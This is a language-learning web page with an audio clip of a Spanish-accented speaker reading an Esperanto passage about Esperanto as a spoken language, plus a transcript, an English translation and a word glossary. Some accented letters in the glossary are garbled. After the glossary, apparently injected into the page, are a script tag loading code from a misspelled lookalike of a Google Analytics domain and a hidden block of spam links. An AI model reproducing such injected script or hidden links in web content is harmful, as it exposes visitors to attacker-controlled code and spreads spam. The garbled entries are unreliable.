Language sounds
Home > Sounds > Enkonduko de Sed Homoj kun Homoj

‘Enkonduko de Sed Homoj kun Homoj’
Click to listen to Recorded 2008-07-19 16-54-05.mp3 (249Kb)
Non-native speaker
Accent: spanish speaker accent
Author: Dolichocephalus
Date: 7/19/2008

Transcript of sound file:
Tiuj, kiuj ne konas Esperanton, aŭ­ tiuj, kiuj je la unua fojo renkontas ĝin, ofte ne komprenas, ke ĝi estas parolata lingvo. Jes, oni povas eldoni presitajn vortarojn kaj lernolibrojn; jes, oni povas interŝanĝi leterojn skribitajn en Esperanto; eĉ jes, oni povas eldoni literaturaĵojn en tiu planlingvo.

---

Translation:
(literal translation) Those who aren't yet familiar with Esperanto, or those who have their first encounter with it, most of the time fail to understand that it is also a spoken language. Yes, it is possible to publish print dictionaries and language courses; yes, it is also possible to exchange letters written in Esperanto; and it's even possible to publish literary works in this planned language.

Tiuj= those
kiuj= who (plural)
ne = not
konas= to know (present tense)
Esperanton = Esperanto (accusative case)
aÅ­ = or
tiuj = those
kiuj = who (plural
je = at
la = the
unua = first
fojo = time
renkontas =to meet/encounter (present tense)
�in = it (accusative case)
ofte = often
ne = not
komprenas = understand (present tense)
ke = that
�i = it
estas = is
parolata = spoken
lingvo = language
Jes = yes
oni = they / one (unknown subject)
povas = to be able
eldoni = give out / publish
presitajn = printed (accusative adjective, plural)
vortarojn dictionaries (accusative)
kaj = and
lernolibrojn = learning books (accusative case)
oni = they / one (unknown subject)
povas = to be able
inter�an�i = exchange
leterojn = letters/ correspondence
skribitajn = written (plural, accusative)
en = in
Esperanto = esperanto
e� =even
jes = yes
oni =they / one (unknown subject)
povas = to be able
eldoni = give out / publish
literaturaĵojn = literature books / works
en = in
tiu = that
planlingvo. = planned language'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)